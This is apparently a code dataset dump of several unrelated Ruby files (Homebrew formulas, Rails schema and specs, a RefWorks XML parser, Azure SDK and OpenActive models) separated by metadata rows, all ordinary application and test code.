" if (Mock.#{func_name}_IgnoreBool)\n Mock.#{func_name}_CallInstance = CMOCK_GUTS_NONE;\n"
end
def nothing(function)
return ""
end
end
| 39.511628 | 140 | 0.625074 |
b9ad609cc4a7304a2c14652571ebf6546555cebe | 444 | require File.expand_path(File.dirname(__FILE__) + '/../../test_helper')
class SymbolTest < Test::Unit::TestCase
context 'Symbol' do
should 'be able to create a FileMan name for itself' do
assert_equal 'DATE OF BIRTH', :date_of_birth.to_file_man_name
assert_equal 'FOO', :foo.to_file_man_name
end
should 'be able to create a class from itself' do
assert_equal String, :string.to_class
end
end
end | 29.6 | 71 | 0.695946 |
e8dc92c02e4867d6fce5198662c4b8348fdf0488 | 1,619 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::CDN::Mgmt::V2020_04_15
module Models
#
# Defines the url rewrite action for the delivery rule.
#
class UrlRewriteAction < DeliveryRuleAction
include MsRestAzure
def initialize
@name = "UrlRewrite"
end
attr_accessor :name
# @return [UrlRewriteActionParameters] Defines the parameters for the
# action.
attr_accessor :parameters
#
# Mapper for UrlRewriteAction class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'UrlRewrite',
type: {
name: 'Composite',
class_name: 'UrlRewriteAction',
model_properties: {
name: {
client_side_validation: true,
required: true,
serialized_name: 'name',
type: {
name: 'String'
}
},
parameters: {
client_side_validation: true,
required: true,
serialized_name: 'parameters',
default_value: {},
type: {
name: 'Composite',
class_name: 'UrlRewriteActionParameters'
}
}
}
}
}
end
end
end
end
| 24.907692 | 75 | 0.52378 |
62ef658cc4c3294fe5dab54939cfd552eeb6eb58 | 1,923 | #
# RefWorks XML format parser
#
# Parses a valid RefWorks XML file into a Ruby Hash.
#
#
#
class RefworksXmlParser < BaseXmlParser
def logger
CitationParser.logger
end
# Perform our initial parse of Citation Data,
def parse_data(data)
xml = Nokogiri::XML::Document.parse(data)
#Check if this is Refworks XML format
if xml.css('reference').count < 1
return nil
end
logger.debug("\n\n* This file is the Refworks XML format.")
# Each record is enclosed in a <reference> tag
(xml.css('reference')).each do |ref|
# create a new citation for each row in XML
c = ParsedCitation.new(:refworks_xml)
# map / parse all the properties
props_hash = param_hash(ref)
# decode any XML entities in properties (e.g. ' => ', & => &, etc.)
c.properties = decode_xml_entities(props_hash)
@citations << c
end
logger.debug("\nCitations Size: #{@citations.size}\n")
return @citations
end
def param_hash(xml)
h = Hash.new
#first handle standard fields
{:ref_type => :rt, :author_primary => :a1, :author_secondary => :a2,
:title_primary => :t1, :title_secondary => :t2, :title_tertiary => :t3,
:keyword => :k1, :pub_year => :yr, :pub_date => :fd, :periodical_full => :jf,
:periodical_abbrev => :jo, :volume => :vo, :issue => :is,
:start_page => :sp, :other_pages => :op, :edition => :ed,
:publisher => :pb, :place_of_publication => :pp, :issn_isbn => :sn,
:author_address_affiliations => :ad, :accession_number => :an, :language => :la,
:subfile_database => :sf, :links => :lk, :doi => :do, :abstract => :ab,
:notes => :no, :user_1 => :u1, :user_2 => :u2, :user_3 => :u3,
:user_4 => :u4, :user_5 => :u5}.each do |k, v|
h[k] = xml.css(v.to_s).collect { |node| node.inner_html }
end
#then add original data
h[:original_data] = xml.to_s
h
end
end | 30.52381 | 85 | 0.615705 |
38743690a8421f35ddf8c21ad96432c8dde08df5 | 4,798 | # This file was generated by the `rails generate rspec:install` command. Conventionally, all
# specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`.
# The generated `.rspec` file contains `--require spec_helper` which will cause
# this file to always be loaded, without a need to explicitly require it in any
# files.
#
# Given that it is always loaded, you are encouraged to keep this file as
# light-weight as possible. Requiring heavyweight dependencies from this file
# will add to the boot time of your test suite on EVERY test run, even for an
# individual file that may not need all of that loaded. Instead, consider making
# a separate helper file that requires the additional dependencies and performs
# the additional setup, and require it from the spec files that actually need
# it.
#
# See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration
require 'simplecov'
SimpleCov.start
RSpec.configure do |config|
# rspec-expectations config goes here. You can use an alternate
# assertion/expectation library such as wrong or the stdlib/minitest
# assertions if you prefer.
config.expect_with :rspec do |expectations|
# This option will default to `true` in RSpec 4. It makes the `description`
# and `failure_message` of custom matchers include text for helper methods
# defined using `chain`, e.g.:
# be_bigger_than(2).and_smaller_than(4).description
# # => "be bigger than 2 and smaller than 4"
# ...rather than:
# # => "be bigger than 2"
expectations.include_chain_clauses_in_custom_matcher_descriptions = true
end
# rspec-mocks config goes here. You can use an alternate test double
# library (such as bogus or mocha) by changing the `mock_with` option here.
config.mock_with :rspec do |mocks|
# Prevents you from mocking or stubbing a method that does not exist on
# a real object. This is generally recommended, and will default to
# `true` in RSpec 4.
mocks.verify_partial_doubles = true
end
# This option will default to `:apply_to_host_groups` in RSpec 4 (and will
# have no way to turn it off -- the option exists only for backwards
# compatibility in RSpec 3). It causes shared context metadata to be
# inherited by the metadata hash of host groups and examples, rather than
# triggering implicit auto-inclusion in groups with matching metadata.
config.shared_context_metadata_behavior = :apply_to_host_groups
# The settings below are suggested to provide a good initial experience
# with RSpec, but feel free to customize to your heart's content.
=begin
# This allows you to limit a spec run to individual examples or groups
# you care about by tagging them with `:focus` metadata. When nothing
# is tagged with `:focus`, all examples get run. RSpec also provides
# aliases for `it`, `describe`, and `context` that include `:focus`
# metadata: `fit`, `fdescribe` and `fcontext`, respectively.
config.filter_run_when_matching :focus
# Allows RSpec to persist some state between runs in order to support
# the `--only-failures` and `--next-failure` CLI options. We recommend
# you configure your source control system to ignore this file.
config.example_status_persistence_file_path = "spec/examples.txt"
# Limits the available syntax to the non-monkey patched syntax that is
# recommended. For more details, see:
# - http://rspec.info/blog/2012/06/rspecs-new-expectation-syntax/
# - http://www.teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/
# - http://rspec.info/blog/2014/05/notable-changes-in-rspec-3/#zero-monkey-patching-mode
config.disable_monkey_patching!
# Many RSpec users commonly either run the entire suite or an individual
# file, and it's useful to allow more verbose output when running an
# individual spec file.
if config.files_to_run.one?
# Use the documentation formatter for detailed output,
# unless a formatter has already been configured
# (e.g. via a command-line flag).
config.default_formatter = "doc"
end
# Print the 10 slowest examples and example groups at the
# end of the spec run, to help surface which specs are running
# particularly slow.
config.profile_examples = 10
# Run specs in random order to surface order dependencies. If you find an
# order dependency and want to debug it, you can fix the order by providing
# the seed, which is printed after each run.
# --seed 1234
config.order = :random
# Seed global randomization in this process using the `--seed` CLI option.
# Setting this allows you to use `--seed` to deterministically reproduce
# test failures related to randomization by passing the same `--seed` value
# as the one that triggered the failure.
Kernel.srand config.seed
=end
end
| 47.98 | 92 | 0.744268 |
e9efa3f1dfa1a880a51886c8ebe9f5a7e082a75b | 3,207 | class FaasCli < Formula
desc "CLI for templating and/or deploying FaaS functions"
homepage "http://docs.get-faas.com/"
url "https://github.com/openfaas/faas-cli.git",
:tag => "0.6.2",
:revision => "a81705b7f50e89bad580f9930436dbf34996cbec"
bottle do
cellar :any_skip_relocation
sha256 "0841807c7933728e91884f90adeb0ea1714c103c051fa2cdc75d91d4ce1b7837" => :high_sierra
sha256 "ce466cf52ab108f22a5054d919c3f271d5d825ffaddb6c5e0fa909b4c4e3d0de" => :sierra
sha256 "4abc9008a61d1cfbd33d6e60cf0ffee6f2d6094c388ef1bac08d749e9159e1e9" => :el_capitan
sha256 "f3832f63135880fe9513394c93907d69fe632088d462f2d472790088a6a8fd8c" => :x86_64_linux
end
depends_on "go" => :build
def install
ENV["XC_OS"] = "darwin"
ENV["XC_ARCH"] = MacOS.prefer_64_bit? ? "amd64" : "386"
ENV["GOPATH"] = buildpath
(buildpath/"src/github.com/openfaas/faas-cli").install buildpath.children
cd "src/github.com/openfaas/faas-cli" do
project = "github.com/openfaas/faas-cli"
commit = Utils.popen_read("git", "rev-parse", "HEAD").chomp
system "go", "build", "-ldflags",
"-s -w -X #{project}/version.GitCommit=#{commit}", "-a",
"-installsuffix", "cgo", "-o", bin/"faas-cli"
bin.install_symlink "faas-cli" => "faas"
pkgshare.install "template"
prefix.install_metafiles
end
end
test do
require "socket"
server = TCPServer.new("localhost", 0)
port = server.addr[1]
pid = fork do
loop do
socket = server.accept
response = "OK"
socket.print "HTTP/1.1 200 OK\r\n" \
"Content-Length: #{response.bytesize}\r\n" \
"Connection: close\r\n"
socket.print "\r\n"
socket.print response
socket.close
end
end
(testpath/"test.yml").write <<~EOS
provider:
name: faas
gateway: http://localhost:#{port}
network: "func_functions"
functions:
dummy_function:
lang: python
handler: ./dummy_function
image: dummy_image
EOS
expected = <<~EOS
Deploying: dummy_function.
Function dummy_function already exists, attempting rolling-update.
Deployed. 200 OK.
URL: http://localhost:#{port}/function/dummy_function
EOS
begin
cp_r pkgshare/"template", testpath
output = shell_output("#{bin}/faas-cli deploy -yaml test.yml")
assert_equal expected, output.chomp
rm_rf "template"
output = shell_output("#{bin}/faas-cli deploy -yaml test.yml 2>&1", 1)
assert_match "Stat ./template/python/template.yml", output
assert_match "ruby", shell_output("#{bin}/faas-cli template pull 2>&1")
assert_match "node", shell_output("#{bin}/faas-cli new --list")
output = shell_output("#{bin}/faas-cli deploy -yaml test.yml")
assert_equal expected, output.chomp
stable_resource = stable.instance_variable_get(:@resource)
commit = stable_resource.instance_variable_get(:@specs)[:revision]
assert_match commit, shell_output("#{bin}/faas-cli version")
ensure
Process.kill("TERM", pid)
Process.wait(pid)
end
end
end
| 32.07 | 94 | 0.647646 |
d58f5d350eb495e81c2dc3d8eb05edec50c8a9e0 | 2,136 | module OpenActive
module Models
module Schema
class Accommodation < ::OpenActive::Models::Schema::Place
# @!attribute type
# @return [String]
def type
"schema:Accommodation"
end
# @return [String]
define_property :accommodation_category, as: "accommodationCategory", types: [
"string",
]
# @return [BigDecimal,nil]
define_property :number_of_full_bathrooms, as: "numberOfFullBathrooms", types: [
"Number",
"null",
]
# @return [int,nil]
define_property :number_of_bathrooms_total, as: "numberOfBathroomsTotal", types: [
"int",
"null",
]
# @return [OpenActive::Models::Schema::QuantitativeValue,ActiveSupport::Duration,nil]
define_property :lease_length, as: "leaseLength", types: [
"OpenActive::Models::Schema::QuantitativeValue",
"DateInterval",
"null",
]
# @return [String]
define_property :floor_level, as: "floorLevel", types: [
"string",
]
# @return [String]
define_property :permitted_usage, as: "permittedUsage", types: [
"string",
]
# @return [OpenActive::Models::Schema::QuantitativeValue,BigDecimal,nil]
define_property :number_of_rooms, as: "numberOfRooms", types: [
"OpenActive::Models::Schema::QuantitativeValue",
"Number",
"null",
]
# @return [OpenActive::Models::Schema::LocationFeatureSpecification]
define_property :amenity_feature, as: "amenityFeature", types: [
"OpenActive::Models::Schema::LocationFeatureSpecification",
]
# @return [String,Boolean,nil]
define_property :pets_allowed, as: "petsAllowed", types: [
"string",
"bool",
"null",
]
# @return [OpenActive::Models::Schema::QuantitativeValue]
define_property :floor_size, as: "floorSize", types: [
"OpenActive::Models::Schema::QuantitativeValue",
]
end
end
end
end
| 29.666667 | 93 | 0.57912 |
e2f5880de1c5dfb66929bdb2c43c5152a466f824 | 7,179 | require 'cgi'
require 'nokogiri'
require 'fileutils'
require_relative '../default_logger'
require_relative 'export_urls'
#
# This class is used to post-process an httrack export of a site. It performs primarily 2 tasks:
#
# 1: Post process the HTML to improve site structure
# 2: Add in static resources e.g. robots.txt, .htaccess files that are not included by the httrack export process
#
# The primary reason for this thing existing is that we wish to maintain a trailing URL structure when the site is exported
# e.g. https://developers.redhat.com/containers/ and not https://developers.redhat.com/containers.html
#
# Default out-of-the-box, we can only do the latter with Httrack, hence all of this post-processing logic to get us to the former!
#
class ExportHtmlPostProcessor
include RedhatDeveloper::Export::Urls
def initialize(process_runner, static_file_directory)
@log = DefaultLogger.logger
@process_runner = process_runner
@static_file_directory = static_file_directory
end
#
# Locates the link back to the index of the site. This is required so that we can re-write the search
# form target to be relative to the current page.
#
def locate_index_link_href(html_document, html_page)
home_link = html_document.css('#home-link')
raise StandardError.new("Unable to locate link to index.html on page '#{html_page}'") if home_link.empty?
raise StandardError.new("Found more than one link with id 'home-link' on page '#{html_page}'") if home_link.length > 1
home_link.first.attributes['href'].value
end
#
# Copies in the static resources that should be part of the export directory structure.
#
def copy_static_resources(export_directory)
@log.info("Copying static resources from '#{@static_file_directory}' to '#{export_directory}'...")
FileUtils.cp_r("#{@static_file_directory}/.", export_directory)
@log.info("Completed copy of static resources from '#{@static_file_directory}'.")
end
#
# Performs post-processing on the HTML export to make it fit the requiring site structure.
#
def post_process_html_export(drupal_host, export_directory)
relocate_index_html(export_directory)
rewrite_links_for_trailing_slash_url_structure(export_directory)
post_process_html_dom(drupal_host, export_directory)
copy_static_resources(export_directory)
end
#
# Uses sed to re-write links within the HTML pages of the export to:
#
# 1: Point to the newly located index.html
# 2: Remove the index.html part of any link within the export that points to a page within the export
#
def rewrite_links_for_trailing_slash_url_structure(export_directory)
# These should be executed as a single command, but I cannot get that to work for love nor money
@process_runner.execute!("find #{export_directory} -name '*.html' -type f -print0 | xargs -0 sed -i'' -e s:'index\\/index.html':'':g")
@process_runner.execute!("find #{export_directory} -name '*.html' -type f -print0 | xargs -0 sed -i'' -e s:'\\/index.html':'\\/':g")
@process_runner.execute!("find #{export_directory} -name '*.html' -type f -print0 | xargs -0 sed -i'' -e s:'index.html':'\\.\\/':g")
end
#
# See https://issues.jboss.org/browse/DEVELOPER-3500
#
# After Httrack has run there is some mark-up in the exported HTML that identifies the host from which it mirrored the site. This is a minor
# security issue, as we're leaking the host name of Drupal outside our controlled network.
#
# I attempted to turn off this mark-up generation in Drupal, but as with most things, Drupal just ignores you.
#
# Anyways, here we remove the <link rel="shortlink"/> , <link rel="revision"/> and <meta name="Generator"/> mark-up from the DOM.
# @return true if the DOM was modified, false otherwise
#
def remove_drupal_host_identifying_markup?(html_doc)
elements_to_remove = html_doc.css('link[rel="shortlink"],link[rel="revision"],meta[name="Generator"]')
elements_to_remove.each do | element |
element.remove
end
if elements_to_remove.size > 0
@log.info("\tRemoved Drupal host identifying markup.")
end
elements_to_remove.size > 0
end
#
# This method gives us the chance to make any amendments to the DOM within all HTML files contained
# within the export
#
def post_process_html_dom(drupal_host, export_directory)
Dir.glob("#{export_directory}/**/*.html") do | html_file |
@log.info("Post-processing HTML DOM in file '#{html_file}'...")
html_doc = File.open(html_file) do | file |
Nokogiri::HTML(file)
end
hide_drupal = remove_drupal_host_identifying_markup?(html_doc)
rewrite_forms = rewrite_form_target_urls?(drupal_host, html_doc, html_file)
if hide_drupal || rewrite_forms
@log.info("DOM in file '#{html_file}' has been modified, writing new file to disk.")
File.open(html_file,'w') do | file |
file.write(html_doc.to_html)
end
end
rewrite_error_page(html_doc, html_file)
end
end
#
# Re-writes the relative links on the error pages to be absolute so that they work from any part of the site
# hierarchy.
#
def rewrite_error_page(html_doc, html_file)
return unless html_file.end_with?('/404-error/index.html') || html_file.end_with?('/general-error/index.html')
home_link = locate_index_link_href(html_doc, html_file)
final_base_url = final_base_url_location
@log.info("\t Re-writing absolute links starting '#{home_link}' to have absolute prefix '#{final_base_url}' on error page #{html_file}...")
new_content = File.read(html_file).gsub(home_link, final_base_url)
File.open(html_file, 'w') do |write|
write.puts(new_content)
end
end
#
# Moves the index/index.html file up one directory so that the home-page is served by default when browsing
# to the root of the directory
#
def relocate_index_html(export_directory)
FileUtils.mv("#{export_directory}/index/index.html", "#{export_directory}/index.html")
FileUtils.rm_rf("#{export_directory}/index")
@process_runner.execute!("sed -i'' -e s:'\\.\\.\\/':'':g #{export_directory}/index.html")
@log.info("Moved #{export_directory}/index/index.html to #{export_directory}/index.html.")
end
#
# Re-writes the action attribute of any form on the page where the action is pointing to the host from
# which we have exported the HTML content
#
def rewrite_form_target_urls?(drupal_host, html_doc, html_file_name)
forms_to_modify = html_doc.css("form[action^=\"http://#{drupal_host}\"]")
forms_to_modify.each do | form |
home_link_href = locate_index_link_href(html_doc, html_file_name)
new_action_value = "#{home_link_href}search/"
@log.info("\tModifying form action '#{form.attributes['action']}' to '#{new_action_value}'")
form.attributes['action'].value = new_action_value
end
forms_to_modify.size > 0
end
private :final_base_url_location, :locate_index_link_href, :rewrite_links_for_trailing_slash_url_structure, :rewrite_form_target_urls?, :relocate_index_html, :remove_drupal_host_identifying_markup?, :post_process_html_dom
end
| 41.258621 | 223 | 0.724474 |
1ccea6f26c516f02d6e8cc5eaf9a4cc74a4e7d64 | 3,514 | # frozen_string_literal: true
require "rails_helper"
require "stripe_mock"
RSpec.describe SubscriptionPaymentJob, type: :job do
let(:stripe_helper) { StripeMock.create_test_helper }
before { StripeMock.start }
after { StripeMock.stop }
context "queue" do
let(:subscription) { FactoryBot.create(:subscription) }
subject(:job) { described_class.perform_later(subscription) }
it "queues the job" do
expect { job }
.to change(ActiveJob::Base.queue_adapter.enqueued_jobs, :size).by(1)
end
it "is in default queue" do
expect(SubscriptionPaymentJob.new.queue_name).to eq("default")
end
end
describe "#perform" do
context "happy" do
let(:user) { FactoryBot.create(:user) }
it "charges subscription if last_charge_at is null" do
subscription = FactoryBot.create(:subscription, user: user, amount: 25)
perform_enqueued_jobs { SubscriptionPaymentJob.perform_later(subscription) }
subscription.reload
donation = subscription.donations.last
expect(subscription.donations.count).to eq(1)
expect(donation.amount).to eq(subscription.amount)
expect(subscription.last_charge_at.to_i).to be_within(100).of(DateTime.now.to_i)
end
it "charges subscription if it's overdue" do
subscription = FactoryBot.create(:subscription_overdue, user: user, amount: 25)
expect(subscription.overdue?).to eq(true)
perform_enqueued_jobs { SubscriptionPaymentJob.perform_later(subscription) }
subscription.reload
donation = subscription.donations.last
expect(subscription.beyond_grace_period?).to eq(false)
expect(subscription.donations.count).to eq(2)
expect(donation.amount).to eq(subscription.amount)
expect(subscription.last_charge_at.to_i).to be_within(100).of(DateTime.now.to_i)
end
end
context "error" do
let(:user) { FactoryBot.create(:user) }
it "raises error if trying to charge a non overdue subscription" do
subscription = FactoryBot.create(:subscription_with_donation, user: user, amount: 25)
expect(subscription.overdue?).to eq(false)
expect { SubscriptionPaymentJob.perform_now(subscription) }.to raise_error(SubscriptionNotOverdueError)
end
it "doesn't disable subscription if charge fails beyond grace period" do
subscription = FactoryBot.create(:subscription_overdue, user: user, amount: 25)
expect(subscription.active?).to eq(true)
expect(subscription.overdue?).to eq(true)
StripeMock.prepare_card_error(:card_declined)
perform_enqueued_jobs { SubscriptionPaymentJob.perform_later(subscription) }
subscription.reload
expect(subscription.active?).to eq(true)
expect(subscription.overdue?).to eq(true)
end
it "disables subscription if charge fails beyond grace period" do
subscription = FactoryBot.create(:subscription_beyond_grace_period, user: user, amount: 25)
expect(subscription.active?).to eq(true)
expect(subscription.beyond_grace_period?).to eq(true)
StripeMock.prepare_card_error(:card_declined)
perform_enqueued_jobs { SubscriptionPaymentJob.perform_later(subscription) }
subscription.reload
expect(subscription.active?).to eq(false)
expect(subscription.beyond_grace_period?).to eq(true)
end
end
end
after do
clear_enqueued_jobs
clear_performed_jobs
end
end
| 32.841121 | 111 | 0.706318 |
38e2b42b5db2685d08aabc10d260d632d09af14c | 1,364 | require 'blueprinter'
module Beekeeper
class ExceptionBlueprinter < Blueprinter::Base
view :basic do
field :status do |exception, options|
exception.try(:status) || get_status(exception, options)
end
field :message
field :error do |exception, options|
exception.try(:error) || get_error(exception, options)
end
field :errors do |exception, options|
exception.try(:errors) || get_errors(exception)
end
field :data do |exception, options|
exception.try(:data) || {}
end
end
def self.get_status exception, options
exception.try(:status) || get_status_from_backtrace(exception, options)
end
def self.get_error exception, options
status = get_status exception, options
Rack::Utils::HTTP_STATUS_CODES.fetch(status, Rack::Utils::HTTP_STATUS_CODES[500])
end
def self.get_status_from_backtrace exception, options
request = options[:request]
backtrace_cleaner = request.env['action_dispatch.backtrace_cleaner']
wrapper = ::ActionDispatch::ExceptionWrapper.new(backtrace_cleaner, exception)
return wrapper.status_code
end
def self.get_errors exception
return [
{
code: exception.class.name,
message: exception.message
}
]
end
private
end
end
| 26.230769 | 87 | 0.66349 |
1d62b9592b5be3ac3bea4a84152144ed486ae96f | 3,396 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# This file is the source Rails uses to define your schema when running `rails
# db:schema:load`. When creating a new database, `rails db:schema:load` tends to
# be faster and is potentially less error prone than running all of your
# migrations from scratch. Old migrations may fail to apply correctly if those
# migrations use external dependencies or application code.
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2020_08_10_033430) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
create_table "active_admin_comments", force: :cascade do |t|
t.string "namespace"
t.text "body"
t.string "resource_type"
t.bigint "resource_id"
t.string "author_type"
t.bigint "author_id"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
t.index ["author_type", "author_id"], name: "index_active_admin_comments_on_author_type_and_author_id"
t.index ["namespace"], name: "index_active_admin_comments_on_namespace"
t.index ["resource_type", "resource_id"], name: "index_active_admin_comments_on_resource_type_and_resource_id"
end
create_table "admin_users", force: :cascade do |t|
t.string "email", default: "", null: false
t.string "encrypted_password", default: "", null: false
t.string "reset_password_token"
t.datetime "reset_password_sent_at"
t.datetime "remember_created_at"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
t.index ["email"], name: "index_admin_users_on_email", unique: true
t.index ["reset_password_token"], name: "index_admin_users_on_reset_password_token", unique: true
end
create_table "events", force: :cascade do |t|
t.bigint "organization_id"
t.string "title"
t.text "description"
t.datetime "starts_at"
t.integer "duration"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
t.index ["organization_id"], name: "index_events_on_organization_id"
end
create_table "items", force: :cascade do |t|
t.bigint "organization_id"
t.string "name"
t.text "description"
t.text "content"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
t.index ["organization_id"], name: "index_items_on_organization_id"
end
create_table "organizations", force: :cascade do |t|
t.string "name"
t.text "description"
t.integer "kind"
t.string "location"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
t.string "display_image"
end
create_table "places", force: :cascade do |t|
t.bigint "organization_id"
t.string "title"
t.text "description"
t.text "content"
t.datetime "created_at", precision: 6, null: false
t.datetime "updated_at", precision: 6, null: false
t.index ["organization_id"], name: "index_places_on_organization_id"
end
end
| 39.488372 | 114 | 0.725559 |
ed0079903c0e4f5c95a967bf37d679b43aaad12b | 1,564 | class Libcbor < Formula
desc "CBOR protocol implementation for C and others"
homepage "http://libcbor.org/"
url "https://github.com/PJK/libcbor/archive/v0.8.0.tar.gz"
sha256 "618097166ea4a54499646998ccaa949a5816e6a665cf1d6df383690895217c8b"
license "MIT"
bottle do
cellar :any
sha256 "3bbc50d56f1418e3acd54c56b28322366b1f1ca306fd3f6fd21755f2848abaab" => :big_sur
sha256 "2860cc48fef2c42aaa50ae25aa90a683e22b81c3905a923e008871679aced20a" => :catalina
sha256 "105d0a4b3b1a2556603e5e5619a3805183af2041ef06a85784660982c803b97e" => :mojave
sha256 "5b20e9f902ca71c4f9a1c411c1e65eedb25f9c395d1e3ff691a0d3e7451cd6fd" => :high_sierra
sha256 "b2bd46058ea2c83063752b05c9193fcdc27fbe957c0b4727e616cc7d18bc0611" => :x86_64_linux
end
depends_on "cmake" => :build
def install
mkdir "build" do
system "cmake", "..", "-DWITH_EXAMPLES=OFF", "-DBUILD_SHARED_LIBS=ON", *std_cmake_args
system "make"
system "make", "install"
end
end
test do
(testpath/"example.c").write <<-EOS
#include "cbor.h"
#include <stdio.h>
int main(int argc, char * argv[])
{
printf("Hello from libcbor %s\\n", CBOR_VERSION);
printf("Custom allocation support: %s\\n", CBOR_CUSTOM_ALLOC ? "yes" : "no");
printf("Pretty-printer support: %s\\n", CBOR_PRETTY_PRINTER ? "yes" : "no");
printf("Buffer growth factor: %f\\n", (float) CBOR_BUFFER_GROWTH);
}
EOS
system ENV.cc, "-std=c99", "example.c", "-L#{lib}", "-lcbor", "-o", "example"
system "./example"
puts `./example`
end
end
| 34.755556 | 94 | 0.703325 |
f716e5cd7988d1cb66546c2d60fe61dee1aaaf19 | 1,053 | Pod::Spec.new do |spec|
spec.name = "TOMLDecoder"
spec.version = "0.1.5"
spec.summary = "Swift Decodable support for TOML."
spec.homepage = "https://github.com/dduan/TOMLDecoder"
spec.license = { :type => "MIT", :file => "LICENSE.md" }
spec.author = { "Daniel Duan" => "[email protected]" }
spec.social_media_url = "https://twitter.com/daniel_duan"
spec.ios.deployment_target = "8.0"
spec.osx.deployment_target = "10.10"
spec.tvos.deployment_target = "9.0"
spec.watchos.deployment_target = "2.0"
spec.swift_version = '5.1'
spec.source = { :git => "https://github.com/dduan/TOMLDecoder.git", :tag => "#{spec.version}" }
spec.source_files = "Sources/**/*.swift"
spec.requires_arc = true
spec.module_name = "TOMLDecoder"
spec.dependency "NetTime" , '~> 0.2.2'
spec.dependency "TOMLDeserializer", '~> 0.2.4'
end
| 50.142857 | 116 | 0.534663 |
87e01463df802745c68baa09af97be8287aa0b18 | 4,548 | require 'basalt/version'
require 'basalt/config'
require 'basalt/basaltfile'
require 'basalt/packages/context'
require 'colorize'
require 'docopt'
require 'fileutils'
require 'ostruct'
require 'yaml'
module Basalt
class Packages
DOC = %Q(Usage:
%<binname>s package new [options] NAME
%<binname>s package install [options] NAME...
%<binname>s package uninstall [options] NAME...
%<binname>s package sync [options] NAME...
%<binname>s package update [options] NAME...
%<binname>s package list [options]
%<binname>s package list-available [options]
%<binname>s package list-installed [options]
Options:
-f, --basaltfile=BASALTFILE
-i, --install-method=METHOD
-v, --verbose
)
attr_writer :basaltfile
def initialize(basaltfile = nil)
@basaltfile = basaltfile || Basaltfile.new
end
def basaltfile
@basaltfile
end
def basaltfile_package_map
@basaltfile.packages.each_with_object({}) { |pkg, hash| hash[pkg.name] = pkg }
end
def config
@config ||= Basalt::Config::Sys.new
end
def repoconfig
@repoconfig ||= OpenStruct.new(pkgdir: basaltfile.pkgdir,
install_method: basaltfile.install_method || config[:install_method])
end
def context
@context ||= Context.new(config.get, repoconfig)
end
def generate_packages_list(options = {})
pkgs = context.repo.installed
m = basaltfile_package_map
# only install packages that are listed in the basaltfile spec
# TODO move this elsewhere, dunno where yet.
pkgs.select! { |pkg| m.key?(pkg.pkgname) }
DependecySolver.solve(pkgs, options)
end
def generate_packages_require(options = {})
m = basaltfile_package_map
contents = ''
contents << "# AutoGenerated by Basalt\n"
contents << "$LOAD_PATH << '#{basaltfile.pkgdir}'\n\n"
generate_packages_list(options).each do |pkg|
next unless m[pkg.pkgname].options[:autoload]
contents << pkg.entry_point_contents
contents << "\n" unless contents.end_with?("\n")
end
filename = File.join(basaltfile.pkgdir, 'load.rb')
File.write(filename, contents)
STDERR.puts "\tGENERATED".light_green + "\t#{filename}"
end
private def each_basaltfile_package(options = {})
basaltfile.packages.each do |bpkg|
yield bpkg, bpkg.options.merge(options)
end
end
def install(options = {})
each_basaltfile_package(options) do |bpkg, opts|
context.install(bpkg.name, opts)
end
generate_packages_require
end
def update(options = {})
each_basaltfile_package(options) do |bpkg, opts|
context.update(bpkg.name, opts)
end
generate_packages_require
end
def sync(options = {})
each_basaltfile_package(options) do |bpkg, opts|
context.sync(bpkg.name, opts)
end
generate_packages_require
end
private def multi_exec(list)
if list.is_a?(Array)
list.each do |v|
begin
yield v
rescue
end
end
else
begin
yield list
rescue
end
end
end
def run(rootfilename, argv, rctx)
rctx.verbose.puts 'Running package subcommand'
doc = DOC % ({ binname: rootfilename })
data = Docopt.docopt(doc, argv: argv, version: VERSION, help: true)
names = data['NAME']
options = {}
options[:basaltfile] = data['--basaltfile'] || rctx[:basaltfile]
options[:install_method] = data['--install-method'] || rctx[:install_method]
options[:verbose] = data['--verbose'] || rctx[:verbose]
rctx.verbose.puts "(#{self.class.name}).options: #{options}"
if bsf = options[:basaltfile]
self.basaltfile = Basaltfile.new(bsf)
end
if data['new']
multi_exec(names) { |name| context.new(name, options) }
elsif data['install']
multi_exec(names) { |name| context.install(name, options) }
elsif data['uninstall']
multi_exec(names) { |name| context.uninstall(name, options) }
elsif data['sync']
multi_exec(names) { |name| context.sync(name, options) }
elsif data['update']
multi_exec(names) { |name| context.update(name, options) }
elsif data['list']
context.list(options)
elsif data['list-available']
context.list_available(options)
elsif data['list-installed']
context.list_installed(options)
end
end
end
end
| 28.425 | 106 | 0.630827 |
39f803181334e9d25e621c929cd0eb381f5e34e9 | 1,154 | require_relative 'boot'
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_view/railtie"
require "action_cable/engine"
# require "sprockets/railtie"
# require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module ShelterMe
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.1
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Only loads a smaller set of middleware suitable for API only apps.
# Middleware like session, flash, cookies can be added back manually.
# Skip views, helpers and assets when generating a new resource.
config.api_only = true
end
end
| 33.941176 | 82 | 0.772964 |
26f7faca674422193ec558d8bebed6759a5d502d | 954 | class RebarAT3 < Formula
desc "Erlang build tool"
homepage "https://github.com/erlang/rebar3"
url "https://github.com/erlang/rebar3/archive/3.4.2.tar.gz"
sha256 "f4d38d01671af6a7eb4777654d1543b42c873dad32046e444434c64d929fc789"
